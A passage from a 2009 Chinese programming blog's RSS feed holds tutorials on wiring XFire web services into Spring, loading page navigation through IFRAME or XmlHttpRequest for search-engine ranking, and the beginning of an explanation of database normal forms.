org.springframework.web.context.ContextLoaderListener
＜/listener-class＞
＜/listener＞

以下是完整的web.xml配置文件

＜?xml version="1.0" encoding="UTF-8"?＞
＜web-app version="2.4"
xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
[url]http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd[/url]&#8220;＞
＜context-param＞
＜param-name＞contextConfigLocation＜/param-name＞
＜param-value＞
classpath:org/codehaus/xfire/spring/xfire.xml,
/WEB-INF/applicationContext.xml
＜/param-value＞
＜/context-param＞
＜listener＞
＜listener-class＞
org.springframework.web.context.ContextLoaderListener
＜/listener-class＞
＜/listener＞
＜servlet＞
＜servlet-name＞XFireServlet＜/servlet-name＞
＜servlet-class＞
org.codehaus.xfire.spring.XFireSpringServlet
＜/servlet-class＞
＜/servlet＞
＜servlet-mapping＞
＜servlet-name＞XFireServlet＜/servlet-name＞
＜url-pattern＞/servlet/XFireServlet/*＜/url-pattern＞
＜/servlet-mapping＞
＜servlet-mapping＞
＜servlet-name＞XFireServlet＜/servlet-name＞
＜url-pattern＞/services/*＜/url-pattern＞
＜/servlet-mapping＞
＜/web-app＞

3 定义接口及实现服务
定义接口，这个接口中定义要通过WebService暴露的方法

package org.ccsoft;
publicinterface HelloWS {
public String sayHello(String sb);
}

实现服务

package org.ccsoft;
publicclass HelloWSImp implements HelloWS {
public String sayHello(String sb) {
// TODO Auto-generated method stub
return"Hello "+sb;
}
}

4 配置服务
将上文中实现的服务，加入到spring的配置文件中。

＜?xml version="1.0" encoding="UTF-8"?＞
＜beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
[url]http://www.springframework.org/schema/beans[/url] [url]http://www.springframework.org/schema/beans/spring-beans-2.0.xsd[/url]&#8220;＞
＜bean id=&#8221;helloWS&#8221; class=&#8221;org.ccsoft.HelloWSImp&#8221;/＞
＜bean name=&#8221;helloService&#8221; class=&#8221;org.codehaus.xfire.spring.ServiceBean&#8221;＞
＜property name=&#8221;serviceBean&#8221; ref=&#8221;helloWS&#8221;/＞
＜property name=&#8221;serviceClass&#8221; value=&#8221;org.ccsoft.HelloWS&#8221;/＞
＜property name=&#8221;inHandlers&#8221;＞
＜list＞
＜ref bean=&#8221;addressingHandler&#8221;/＞
＜/list＞
＜/property＞
＜/bean＞
＜bean id=&#8221;addressingHandler&#8221; class=&#8221;org.codehaus.xfire.addressing.AddressingInHandler&#8221;/＞
＜/beans＞

]]></description>
			<content:encoded><![CDATA[<p>Spring是目前最流行的JavaEE Framework，但是使用Spring的Spring-WS开发WebService却十分繁琐。XFire是一个简化WebService开发的开源项目，通过Spring和XFire的结合可以大大简化基于Spring Framework的应用中的WebService开发。</p>
<p>Spring和XFire可以通过多种方式结合，下文介绍的是笔者常用的一种简单而实用的方法。所用的Spring版本为2.0,XFire版本为1.2.6。</p>
<p><span id="more-270"></span></p>
<p><strong>1、配置XFire Servlet</strong><br />
在web.xml中加入如下配置：</p>
<p><code><br />
＜servlet＞<br />
＜servlet-name＞XFireServlet＜/servlet-name＞<br />
＜servlet-class＞<br />
org.codehaus.xfire.spring.XFireSpringServlet<br />
＜/servlet-class＞<br />
＜/servlet＞<br />
＜servlet-mapping＞<br />
＜servlet-name＞XFireServlet＜/servlet-name＞<br />
＜url-pattern＞/servlet/XFireServlet/*＜/url-pattern＞<br />
＜/servlet-mapping＞<br />
＜servlet-mapping＞<br />
＜servlet-name＞XFireServlet＜/servlet-name＞<br />
＜url-pattern＞/services/*＜/url-pattern＞<br />
＜/servlet-mapping＞<br />
</code></p>
<p><strong>2 配置Spring的监听器，同基于spring的Web项目一样Spring的监听器是必不可少的。</strong></p>
<p><code><br />
＜context-param＞<br />
＜param-name＞contextConfigLocation＜/param-name＞<br />
＜param-value＞<br />
classpath:org/codehaus/xfire/spring/xfire.xml,<br />
/WEB-INF/applicationContext.xml<br />
＜/param-value＞<br />
＜/context-param＞<br />
＜listener＞<br />
＜listener-class＞<br />
org.springframework.web.context.ContextLoaderListener<br />
＜/listener-class＞<br />
＜/listener＞<br />
</code></p>
<p><strong>以下是完整的web.xml配置文件</strong></p>
<p><code><br />
＜?xml version="1.0" encoding="UTF-8"?＞<br />
＜web-app version="2.4"<br />
xmlns="http://java.sun.com/xml/ns/j2ee"<br />
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"<br />
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee<br />
[url]http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd[/url]&#8220;＞<br />
＜context-param＞<br />
＜param-name＞contextConfigLocation＜/param-name＞<br />
＜param-value＞<br />
classpath:org/codehaus/xfire/spring/xfire.xml,<br />
/WEB-INF/applicationContext.xml<br />
＜/param-value＞<br />
＜/context-param＞<br />
＜listener＞<br />
＜listener-class＞<br />
org.springframework.web.context.ContextLoaderListener<br />
＜/listener-class＞<br />
＜/listener＞<br />
＜servlet＞<br />
＜servlet-name＞XFireServlet＜/servlet-name＞<br />
＜servlet-class＞<br />
org.codehaus.xfire.spring.XFireSpringServlet<br />
＜/servlet-class＞<br />
＜/servlet＞<br />
＜servlet-mapping＞<br />
＜servlet-name＞XFireServlet＜/servlet-name＞<br />
＜url-pattern＞/servlet/XFireServlet/*＜/url-pattern＞<br />
＜/servlet-mapping＞<br />
＜servlet-mapping＞<br />
＜servlet-name＞XFireServlet＜/servlet-name＞<br />
＜url-pattern＞/services/*＜/url-pattern＞<br />
＜/servlet-mapping＞<br />
＜/web-app＞<br />
</code></p>
<p><strong>3 定义接口及实现服务</strong></p>
<p>定义接口，这个接口中定义要通过WebService暴露的方法</p>
<p><code><br />
package org.ccsoft;</p>
<p>publicinterface HelloWS {<br />
public String sayHello(String sb);<br />
}<br />
</code></p>
<p>实现服务</p>
<p><code><br />
package org.ccsoft;</p>
<p>publicclass HelloWSImp implements HelloWS {<br />
public String sayHello(String sb) {<br />
// TODO Auto-generated method stub<br />
return"Hello "+sb;<br />
}<br />
}<br />
</code></p>
<p><strong>4 配置服务</strong></p>
<p>将上文中实现的服务，加入到spring的配置文件中。</p>
<p><code><br />
＜?xml version="1.0" encoding="UTF-8"?＞<br />
＜beans xmlns="http://www.springframework.org/schema/beans"<br />
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"<br />
xsi:schemaLocation="<br />
[url]http://www.springframework.org/schema/beans[/url] [url]http://www.springframework.org/schema/beans/spring-beans-2.0.xsd[/url]&#8220;＞</p>
<p>＜bean id=&#8221;helloWS&#8221; class=&#8221;org.ccsoft.HelloWSImp&#8221;/＞<br />
＜bean name=&#8221;helloService&#8221; class=&#8221;org.codehaus.xfire.spring.ServiceBean&#8221;＞<br />
＜property name=&#8221;serviceBean&#8221; ref=&#8221;helloWS&#8221;/＞<br />
＜property name=&#8221;serviceClass&#8221; value=&#8221;org.ccsoft.HelloWS&#8221;/＞<br />
＜property name=&#8221;inHandlers&#8221;＞<br />
＜list＞<br />
＜ref bean=&#8221;addressingHandler&#8221;/＞<br />
＜/list＞<br />
＜/property＞<br />
＜/bean＞</p>
<p>＜bean id=&#8221;addressingHandler&#8221; class=&#8221;org.codehaus.xfire.addressing.AddressingInHandler&#8221;/＞<br />
＜/beans＞<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://column.ibeifeng.com/zhangweiliang/20090225270.shtml/feed</wfw:commentRss>
		</item>
		<item>
		<title>利用ajax提高搜索引擎排名</title>
		<link>http://column.ibeifeng.com/libin_8745/20090225266.shtml</link>
		<comments>http://column.ibeifeng.com/libin_8745/20090225266.shtml#comments</comments>
		<pubDate>Wed, 25 Feb 2009 03:10:16 +0000</pubDate>
		<dc:creator>libin_8745</dc:creator>
		
		<category><![CDATA[.Net]]></category>

		<category><![CDATA[ajax]]></category>

		<guid isPermaLink="false">http://column.ibeifeng.com/?p=266</guid>
		<description><![CDATA[一、 分离导航与内容
让我们使用一个例子作为开始。请考虑你现在阅读的文章，它有下列一些内容：
· 一个其上有一些预定义的到Informit的各个部分的链接的页眉。
· 在页眉下有一行，把本文放到Informit的目录结构之中(实际上，这是唯一的与目录相关的可导航元素)。
· 一个位于右首的侧栏，其中有一些连接到流行文章和推荐内容的链接。
· 一个页脚，还有一些永远不会改变的链接。

上面的&#8221;混合&#8221;很可能会影响搜索引擎索引你的数据的方式：
· 因为搜索引擎不能区别内容与导航文本，所以它们会把它们在你的页面中找到的一切进行索引。既然目录中的关键字与不相关的可导航关键字混合在一起，那么内容之间的关联大大减少。一些搜索引擎宣称，它们能够在被搜索到的页面(例如，固定的页眉和页脚)中发现重复的文本并且删除它们。但是，不要依赖这种可能性;即使它们实现了这种技术，也很可能不会一直可靠。
· web页面中的外向链接影响你的内容的页面评价。尽管这可能提高流行的文章的评价排名(因为许多页面都链接到它们)，但是所有的页面都链接到的内容(例如，隐私策略)通常得到最高的页面评价-这可能不是你一直关心的问题。在我的一个web站点中，最高的评价页面是用于把消息发送到web管理员的表单-而不是你想让用户首先在Google上找到的内容。
注意
即使你不使用站点地图，你也可以通过Google的站点地图用户接口来了解一下你的页面的页面排名情况。
添加到一个web页面的可导航元素还可能影响使用低速互联网存取的用户，而如果web页面不使用DIV元素(Informit使用之)而使用表格时更是如此。在这种情况中，在把它显示给用户之前，整个表格必须被加载到一些web浏览器中。
传统地，web设计者一般都使用框架集或通过构建整套的导航架构(广泛使用JavaScript代码)来实现导航与内容的分离。这两条途径都存在其缺点;因此，许多大型网站避免使用框架集就不足为奇了。
借助于在AJAX框架中使用的技术，你可以为这一问题提供一种方案：
· 每一个web页面仅包含可导航元素和实际内容的占位符。
· 在web页面通过嵌入式框架(IFRAME)或使用XmlHttpRequest对象加载后，再装载这些可导航元素。
· 然后，可导航元素的内容被合并到web页面内容中，从而产生一个不嵌入任何帧的干净的页面。
在使用这种方法重新设计你的web页面之前，你需要考虑下列问题：
· 搜索引擎仅将看到初始的web页面。你必须确保，该页面中包含到相关页面或到一个网站地图的链接。Informit网站中文章页眉上方的导航线和在页面的文章信息部分中的链接正好可以较好地实现这一目的。
· 在他们的浏览器中禁止调用JavaScript的访问者将具有与搜索引擎相同的页面视图。你必须确保他们有受限的视图不会给你的网站的功能造成较大影响。
· 你可能想在你的页面上保留一些静态内容。例如，Informit标识和版权信息必须一直显示给所有的访问者。
当你确定好应该把你的导航结构哪些部分依附到页面上以及哪些部分应该与之分开之后，你就可以开始下一步骤了。
二、 设计你的Web页面
实现分离内容和导航的第一步是，在web页面上创建将插入可导航元素的占位符。对于每一个可导航元素的连续区域，你应该创建一个具有唯一id的独立DIV元素;这样以来，以后你可以在你的JavaScript代码中标识它。为了防止过度晃动，在创作页面期间，目录上方或右边的DIV元素的尺寸应该调整到非常接近你的可导航元素的实际大小;这样，当你使用希望的HTML代码来代替它们时内容就不会移动位置。为此，一种最巧妙的方法是把一个空的适当大小的DIV元素插入到该占位符处。
对于Informit网站来说，其页面结构已经是良好设计的，且DIV元素已经非常到位，如图1所示。
图1一篇Informit文章的页面结构
你仅需要从可导航DIV元素中删除内容并且插入一个空框，页眉将会出现在这里(为了简短起见，我们将忽略把公司标识和版权信息嵌入到每一个页面中的讨论)。下面是相应的代码：
＜div id=&#8221;header&#8221;＞
＜div style=&#8221;height: 100px; width: 100%&#8221;＞＜/div＞
＜/div＞
＜div id=&#8221;contentArticle&#8221;＞
＜div id=&#8221;firstCol&#8221;＞
&#8230; article content &#8230;.
＜/div＞
＜div id=&#8221;secondCol&#8221; ＞＜/div＞
＜/div＞
＜div id=&#8221;footer&#8221;＞＜/div＞
注意
如果你的web页面使用表格来实现所希望的页面布局，那么请不要把表格单元格重用作占位符；而把DIV元素放到表格单元格内比较好一些。
已经被从web页面中删除的可导航的元素必须被重新创建为独立的页面。你应该使用静态HTML文件来表达静态内容(这将允许缓冲内容，不管你使用什么样的web服务器)和在加载它们的web页面上创建显示基于动态元素的服务器端脚本。对于Informit来说，每一个web页面都有唯一一个文章标识符(在URL中的&#8221;p=&#8221;参数)；因此，你需要创建一个能够接受文章标识符并创建右边的栏目的服务器端脚本。在大多数情况中，你可以重用创建嵌入的可导航元素的服务器端代码。
在重新设计这些web页面后，接下来，你就可以实现本方案中的AJAX部分了。与通常一样，你可以使用嵌入式框架(IFRAME元素)工作，也可以选用一个XmlHttpRequest对象。
三、 嵌入式框架
如果你关心浏览器兼容性的话，你应该使用嵌入式框架。一些老式的浏览器支持IFRAME元素，但不支持XmlHttpRequest对象。当然，使用这种方式还有如下一些理由：
· 被加载到一个IFRAME中的内容在装载的过程中被显示于浏览器中，这向终端用户显示一个可视化进程。
· 页面缓冲总是使用加载到一个IFRAME中的内容工作。一些版本的Opera还不能较好地使用XmlHttpRequest对象处理经缓冲的响应。
为此，我们可以把一个空IFRAME插入到每一个DIV容器中，并且在每一个IFRAME后添加一个简短的JavaScript语句，如下所示：
＜div id=&#8221;header&#8221;＞
＜div style=&#8221;height: 100px; width: 100%&#8221;＞＜/div＞
＜iframe id=&#8221;header_iframe&#8221; style=&#8221;height: 0px;&#8221;＞＜/iframe＞
＜script＞loadIframe(&#8221;header&#8221;，&#8221;/navigation/header.html&#8221;)＜/script＞
＜/div＞
IFRAME的id应该等于以_iframe为后缀的占位符的id。loadIframe函数使用了两个参数：占位符的id和要加载到其中的URL。
技巧
如果你想在下载过程中使得IFRAME内容可见，那么你应该使用一个适当大小的IFRAME元素来替换在占位符内的空的DIV框。然而，如果你想使IFRAME保持不可见，那么你应该使用style属性来把它的高度设置为０以克服一些浏览器中的错误。
启动装载过程的loadIframe函数是很简单的：
function loadIframe(id，url) {
try {
var iframeObj = document.getElementById(id+&#8221;_iframe&#8221;);
iframeObj.src = url ;
} catch (err) {
alert(&#8221;cannot load &#8220;+url+&#8221; into &#8220;+id) [...]]]></description>
			<content:encoded><![CDATA[<p>一、 分离导航与内容</p>
<p>让我们使用一个例子作为开始。请考虑你现在阅读的文章，它有下列一些内容：</p>
<p>· 一个其上有一些预定义的到Informit的各个部分的链接的页眉。</p>
<p>· 在页眉下有一行，把本文放到Informit的目录结构之中(实际上，这是唯一的与目录相关的可导航元素)。</p>
<p>· 一个位于右首的侧栏，其中有一些连接到流行文章和推荐内容的链接。</p>
<p>· 一个页脚，还有一些永远不会改变的链接。</p>
<p><span id="more-266"></span></p>
<p>上面的&#8221;混合&#8221;很可能会影响搜索引擎索引你的数据的方式：</p>
<p>· 因为搜索引擎不能区别内容与导航文本，所以它们会把它们在你的页面中找到的一切进行索引。既然目录中的关键字与不相关的可导航关键字混合在一起，那么内容之间的关联大大减少。一些搜索引擎宣称，它们能够在被搜索到的页面(例如，固定的页眉和页脚)中发现重复的文本并且删除它们。但是，不要依赖这种可能性;即使它们实现了这种技术，也很可能不会一直可靠。</p>
<p>· web页面中的外向链接影响你的内容的页面评价。尽管这可能提高流行的文章的评价排名(因为许多页面都链接到它们)，但是所有的页面都链接到的内容(例如，隐私策略)通常得到最高的页面评价-这可能不是你一直关心的问题。在我的一个web站点中，最高的评价页面是用于把消息发送到web管理员的表单-而不是你想让用户首先在Google上找到的内容。</p>
<p>注意</p>
<p>即使你不使用站点地图，你也可以通过Google的站点地图用户接口来了解一下你的页面的页面排名情况。</p>
<p>添加到一个web页面的可导航元素还可能影响使用低速互联网存取的用户，而如果web页面不使用DIV元素(Informit使用之)而使用表格时更是如此。在这种情况中，在把它显示给用户之前，整个表格必须被加载到一些web浏览器中。</p>
<p>传统地，web设计者一般都使用框架集或通过构建整套的导航架构(广泛使用JavaScript代码)来实现导航与内容的分离。这两条途径都存在其缺点;因此，许多大型网站避免使用框架集就不足为奇了。</p>
<p>借助于在AJAX框架中使用的技术，你可以为这一问题提供一种方案：</p>
<p>· 每一个web页面仅包含可导航元素和实际内容的占位符。</p>
<p>· 在web页面通过嵌入式框架(IFRAME)或使用XmlHttpRequest对象加载后，再装载这些可导航元素。</p>
<p>· 然后，可导航元素的内容被合并到web页面内容中，从而产生一个不嵌入任何帧的干净的页面。</p>
<p>在使用这种方法重新设计你的web页面之前，你需要考虑下列问题：</p>
<p>· 搜索引擎仅将看到初始的web页面。你必须确保，该页面中包含到相关页面或到一个网站地图的链接。Informit网站中文章页眉上方的导航线和在页面的文章信息部分中的链接正好可以较好地实现这一目的。</p>
<p>· 在他们的浏览器中禁止调用JavaScript的访问者将具有与搜索引擎相同的页面视图。你必须确保他们有受限的视图不会给你的网站的功能造成较大影响。</p>
<p>· 你可能想在你的页面上保留一些静态内容。例如，Informit标识和版权信息必须一直显示给所有的访问者。</p>
<p>当你确定好应该把你的导航结构哪些部分依附到页面上以及哪些部分应该与之分开之后，你就可以开始下一步骤了。</p>
<p>二、 设计你的Web页面</p>
<p>实现分离内容和导航的第一步是，在web页面上创建将插入可导航元素的占位符。对于每一个可导航元素的连续区域，你应该创建一个具有唯一id的独立DIV元素;这样以来，以后你可以在你的JavaScript代码中标识它。为了防止过度晃动，在创作页面期间，目录上方或右边的DIV元素的尺寸应该调整到非常接近你的可导航元素的实际大小;这样，当你使用希望的HTML代码来代替它们时内容就不会移动位置。为此，一种最巧妙的方法是把一个空的适当大小的DIV元素插入到该占位符处。</p>
<p>对于Informit网站来说，其页面结构已经是良好设计的，且DIV元素已经非常到位，如图1所示。</p>
<p>图1一篇Informit文章的页面结构</p>
<p>你仅需要从可导航DIV元素中删除内容并且插入一个空框，页眉将会出现在这里(为了简短起见，我们将忽略把公司标识和版权信息嵌入到每一个页面中的讨论)。下面是相应的代码：</p>
<p>＜div id=&#8221;header&#8221;＞<br />
＜div style=&#8221;height: 100px; width: 100%&#8221;＞＜/div＞<br />
＜/div＞<br />
＜div id=&#8221;contentArticle&#8221;＞<br />
＜div id=&#8221;firstCol&#8221;＞<br />
&#8230; article content &#8230;.<br />
＜/div＞<br />
＜div id=&#8221;secondCol&#8221; ＞＜/div＞<br />
＜/div＞<br />
＜div id=&#8221;footer&#8221;＞＜/div＞<br />
注意<br />
如果你的web页面使用表格来实现所希望的页面布局，那么请不要把表格单元格重用作占位符；而把DIV元素放到表格单元格内比较好一些。<br />
已经被从web页面中删除的可导航的元素必须被重新创建为独立的页面。你应该使用静态HTML文件来表达静态内容(这将允许缓冲内容，不管你使用什么样的web服务器)和在加载它们的web页面上创建显示基于动态元素的服务器端脚本。对于Informit来说，每一个web页面都有唯一一个文章标识符(在URL中的&#8221;p=&#8221;参数)；因此，你需要创建一个能够接受文章标识符并创建右边的栏目的服务器端脚本。在大多数情况中，你可以重用创建嵌入的可导航元素的服务器端代码。<br />
在重新设计这些web页面后，接下来，你就可以实现本方案中的AJAX部分了。与通常一样，你可以使用嵌入式框架(IFRAME元素)工作，也可以选用一个XmlHttpRequest对象。<br />
三、 嵌入式框架<br />
如果你关心浏览器兼容性的话，你应该使用嵌入式框架。一些老式的浏览器支持IFRAME元素，但不支持XmlHttpRequest对象。当然，使用这种方式还有如下一些理由：<br />
· 被加载到一个IFRAME中的内容在装载的过程中被显示于浏览器中，这向终端用户显示一个可视化进程。<br />
· 页面缓冲总是使用加载到一个IFRAME中的内容工作。一些版本的Opera还不能较好地使用XmlHttpRequest对象处理经缓冲的响应。<br />
为此，我们可以把一个空IFRAME插入到每一个DIV容器中，并且在每一个IFRAME后添加一个简短的JavaScript语句，如下所示：<br />
＜div id=&#8221;header&#8221;＞<br />
＜div style=&#8221;height: 100px; width: 100%&#8221;＞＜/div＞<br />
＜iframe id=&#8221;header_iframe&#8221; style=&#8221;height: 0px;&#8221;＞＜/iframe＞<br />
＜script＞loadIframe(&#8221;header&#8221;，&#8221;/navigation/header.html&#8221;)＜/script＞<br />
＜/div＞<br />
IFRAME的id应该等于以_iframe为后缀的占位符的id。loadIframe函数使用了两个参数：占位符的id和要加载到其中的URL。<br />
技巧<br />
如果你想在下载过程中使得IFRAME内容可见，那么你应该使用一个适当大小的IFRAME元素来替换在占位符内的空的DIV框。然而，如果你想使IFRAME保持不可见，那么你应该使用style属性来把它的高度设置为０以克服一些浏览器中的错误。<br />
启动装载过程的loadIframe函数是很简单的：<br />
function loadIframe(id，url) {<br />
try {<br />
var iframeObj = document.getElementById(id+&#8221;_iframe&#8221;);<br />
iframeObj.src = url ;<br />
} catch (err) {<br />
alert(&#8221;cannot load &#8220;+url+&#8221; into &#8220;+id) ;<br />
}<br />
}<br />
注意<br />
本文中所有示例代码都假定，浏览器兼容文档对象模型(DOM)。<br />
然而，还没有一种机制来通知请求页面所希望的内容已经被加载到占位符IFRAME中。因此，被装载的内容必须通知父页面(经由一个JavaScript调用)可以使用该内容了。实现这一操作的最好时机是，在页面加载完成以后。因此，在IFRAME内容中的BODY标志应该包含一个onLoad事件:<br />
＜body  style=&#8221;margin: 0px 0px;<br />
padding: 0px 0px&#8221;＞<br />
技巧<br />
加载到IFRAME中的内容的body部分应该总是有零边距和填充空白；否则，当把它集成到父页面中时，它将会轻微地迁移。<br />
在IFRAME的上下文中执行的contentLoaded函数将提取body部分相应的HTML内容并且把它传递到一个在父页面上下文中执行的函数，此函数将使用它来填充相应的占位符：<br />
contentLoaded在IFRAME上下文的上下文中执行：<br />
function contentLoaded(parentID) {<br />
var myContent = document.body.innerHTML ;<br />
parent.copyContent(parentID，myContent);<br />
}<br />
copyContent在父web页面的上下文中执行：<br />
function copyContent(id，content) {<br />
try {<br />
var placeholder = document.getElementById(id) ;<br />
placeholder.innerHTML = content;<br />
} catch (err) {<br />
alert(&#8221;Cannot copy HTML content into &#8220;+id);<br />
}<br />
}<br />
现在，细心的读者应该感到疑惑，为什么这么复杂？在IFRAME元素中加载导航元素不是更简单一些吗？事实证明，对于此方法还要加一些防止误解的说明为好：<br />
· IFRAME具有固定的高度和宽度。如果内容彼此超出，则内容将被剪掉或者IFRAME要加上滚动条。然而，被复制到一个在父页面中的DIV元素中的HTML标记其大小却总是保持自动调整大小。<br />
· 当在一个IFRAME中时，在导航内容中的链接(一个元素)将装载IFRAME中的新页面，除非你把target=&#8221;_parent&#8221;添加到每一个链接之后。<br />
· 依附到导航元素的JavaScript事件处理器将在IFRAME的上下文中工作（如果还保留这个上下文的话）。如果你把导航内容移动主页面上，那么事件处理器能够存取在主页面中定义的函数和变量。<br />
四、 使用XmlHttpRequest<br />
如果你的用户主要使用Internet Explorer的较新版本或基于Gecko的浏览器(Mozilla，Firefox，Netscape 7)，那么你可以决定使用XmlHttpRequest对象来把其它内容下载到你的web页面中。第一步非常类似于前面描述的方式。对于每一个占位符，你需要一个JavaScript函数调用来启动加载过程：<br />
＜div id=&#8221;header&#8221;＞<br />
＜div style=&#8221;height: 100px; width: 100%&#8221;＞＜/div＞<br />
＜script＞loadContent(&#8221;header&#8221;，&#8221;/navigation/header.html&#8221;)＜/script＞<br />
＜/div＞<br />
然而，loadContent函数是根本不同的：它创建了一个新的XmlHttpRequest对象，然后把一个事件处理器指派给它，并且异步启动装载过程：<br />
function loadContent(id，url) {<br />
try {<br />
var rq = new XMLHttpRequest() ;<br />
rq.open(&#8221;GET&#8221;， url， true);<br />
rq.onreadystatechange = function() { contentLoaded(rq，url，id) }<br />
rq.send(null);<br />
} catch (err) {<br />
alert(&#8221;cannot load &#8220;+url+&#8221; into &#8220;+id) ;<br />
}<br />
}<br />
注意<br />
每一种主流浏览器家族都以一种不同的方式实现了XmlHttpRequest对象。处理这种兼容性问题的最容易的方法是，使用一个包装器库，例如Sarissa。我们在本文中示例中就使用了这种库。<br />
回调函数contentLoaded负责检查XmlHttpRequest对象是否已经准备好及完成状态(如果请求已完成的话)，并且从响应中提取HTML标记。提取HTML代码(除非你使用XHTML，这种情况下，你可以使用XMLDOM接口)的最容易的方法是，使用字符串处理函数来查找＜body＞和＜/body＞标志之间的文本：<br />
function contentLoaded(rq，url，id) {<br />
try {<br />
if (rq.readyState != 4) { return; }<br />
if (rq.status != 200) { alert(&#8221;failed to load &#8220;+url); return; }<br />
var txt = rq.responseText ;<br />
//查找＜body＞标记的开始位置<br />
var startBodyTag = txt.indexOf(&#8221;＜body&#8221;)<br />
//查找＜body＞标记的结束，跳过任何属性<br />
var endOfStartTag = txt.indexOf(&#8221;＞&#8221;，startBodyTag+1)<br />
//查找＜/body＞标记<br />
var endBodyTag = txt.indexOf(&#8221;＜/body&#8221;)<br />
if (endBodyTag == -1) { endBodyTag = txt.length ; }<br />
//提取实际内容<br />
var bodyContent = txt.substring(endOfStartTag+1，endBodyTag)<br />
if (bodyContent) {<br />
var placeholder = document.getElementById(id) ;<br />
placeholder.innerHTML = bodyContent;<br />
}<br />
} catch (err) {<br />
alert(&#8221;cannot load &#8220;+url+&#8221; into &#8220;+id) ;<br />
}<br />
}<br />
与前面描述的基于IFRAME的方法相比，使用XmlHttpRequest对象具有下列好处：<br />
· 代码更干净，并且不依赖于页面的上下文切换。<br />
· XmlHttpRequest对象使你能够检测和处理错误（通过它的readyState和status属性）。而使用IFRAME加载内容时，如果出现错误，则只能显示非常粗略的错误提示，这主要是因为缺乏对回调函数的调用。<br />
· 你能够实现内容元素的平行装载(如在这一节中显示的)或顺序化装载请求以最小化带宽利用。</p>
<p>五、 小结<br />
在本文中，你学习了怎样实现把你的web页面内容与包围该内容的可导航元素分离开来。分离导致更为集中地描述搜索引擎要搜索的页面内容，并且也减少了用户使用低速互联网存取的加载时间（既然是在可导航元素被下载之前把实际内容显示给用户）。<br />
当重新设计你的web页面来利用这种方案时，切记，一些基本格式的导航必须保留在页面上以便允许搜索引擎和决定禁止使用JavaScript的用户在你的网站的页面之间进行导航。<br />
你可以使用嵌入式框架(IFRAME)或使用在最现代浏览器中实现的XmlHttpRequest对象来实现可导航元素的延迟装载。IFRAME方法能够为较老式的浏览器所支持；因此，它可能是你要考虑使用的方法-如果你非常关心向后兼容问题的话。另一方面，XmlHttpRequest对象的使用使你能够更为紧密地控制装载过程并能够检测和处理下载错误。</p>
]]></content:encoded>
			<wfw:commentRss>http://column.ibeifeng.com/libin_8745/20090225266.shtml/feed</wfw:commentRss>
		</item>
		<item>
		<title>数据库设计三大范式应用实例剖析</title>
		<link>http://column.ibeifeng.com/libin_8745/20090223262.shtml</link>
		<comments>http://column.ibeifeng.com/libin_8745/20090223262.shtml#comments</comments>
		<pubDate>Mon, 23 Feb 2009 06:01:22 +0000</pubDate>
		<dc:creator>libin_8745</dc:creator>
		
		<category><![CDATA[数据库]]></category>

		<category><![CDATA[应用实例]]></category>

		<category><![CDATA[设计]]></category>

		<guid isPermaLink="false">http://column.ibeifeng.com/?p=262</guid>
		<description><![CDATA[引言
 数据库的设计范式是数据库设计所需要满足的规范，满足这些规范的数据库是简洁的、结构明晰的，同时，不会发生插入（insert）、删除（delete）和更新（update）操作异常。反之则是乱七八糟，不仅给数据库的编程人员制造麻烦，而且面目可憎，可能存储了大量不需要的冗余信息。
设计范式是不是很难懂呢？非也，大学教材上给我们一堆数学公式我们当然看不懂，也记不住。所以我们很多人就根本不按照范式来设计数据库。
实质上，设计范式用很形象、很简洁的话语就能说清楚，道明白。本文将对范式进行通俗地说明，并以笔者曾经设计的一个简单论坛的数据库为例来讲解怎样将这些范式应用于实际工程。

范式说明
第一范式（1NF）：数据库表中的字段都是单一属性的，不可再分。这个单一属性由基本类型构成，包括整型、实数、字符型、逻辑型、日期型等。
例如，如下的数据库表是符合第一范式的：



字段1
字段2
字段3
字段4









而这样的数据库表是不符合第一范式的：



字段1
字段2

字段3

字段4




字段3.1
字段3.2




很显然，在当前的任何关系数据库管理系统（DBMS）中，傻瓜也不可能做出不符合第一范式的数据库，因为这些DBMS不允许你把数据库表的一列再分成二列或多列。因此，你想在现有的DBMS中设计出不符合第一范式的数据库都是不可能的。
第二范式（2NF）：数据库表中不存在非关键字段对任一候选关键字段的部分函数依赖（部分函数依赖指的是存在组合关键字中的某些字段决定非关键字段的情况），也即所有非关键字段都完全依赖于任意一组候选关键字。
假定选课关系表为SelectCourse(学号, 姓名, 年龄, 课程名称, 成绩, 学分)，关键字为组合关键字(学号, 课程名称)，因为存在如下决定关系：
(学号, 课程名称) → (姓名, 年龄, 成绩, 学分)
这个数据库表不满足第二范式，因为存在如下决定关系：
(课程名称) → (学分)
(学号) → (姓名, 年龄)
即存在组合关键字中的字段决定非关键字的情况。
由于不符合2NF，这个选课关系表会存在如下问题：
(1) 数据冗余：
同一门课程由n个学生选修，&#8221;学分&#8221;就重复n-1次；同一个学生选修了m门课程，姓名和年龄就重复了m-1次。
(2) 更新异常：
若调整了某门课程的学分，数据表中所有行的&#8221;学分&#8221;值都要更新，否则会出现同一门课程学分不同的情况。
(3) 插入异常：
假设要开设一门新的课程，暂时还没有人选修。这样，由于还没有&#8221;学号&#8221;关键字，课程名称和学分也无法记录入数据库。
(4) 删除异常：
假设一批学生已经完成课程的选修，这些选修记录就应该从数据库表中删除。但是，与此同时，课程名称和学分信息也被删除了。很显然，这也会导致插入异常。
把选课关系表SelectCourse改为如下三个表：
学生：Student(学号, 姓名, 年龄)；
课程：Course(课程名称, 学分)；
选课关系：SelectCourse(学号, 课程名称, 成绩)。
这样的数据库表是符合第二范式的，消除了数据冗余、更新异常、插入异常和删除异常。
另外，所有单关键字的数据库表都符合第二范式，因为不可能存在组合关键字。
第三范式（3NF）：在第二范式的基础上，数据表中如果不存在非关键字段对任一候选关键字段的传递函数依赖则符合第三范式。所谓传递函数依赖，指的是如果存在&#8221;A → B → C&#8221;的决定关系，则C传递函数依赖于A。因此，满足第三范式的数据库表应该不存在如下依赖关系：
关键字段 → 非关键字段x → 非关键字段y
假定学生关系表为Student(学号, 姓名, 年龄, 所在学院, 学院地点, 学院电话)，关键字为单一关键字&#8221;学号&#8221;，因为存在如下决定关系：
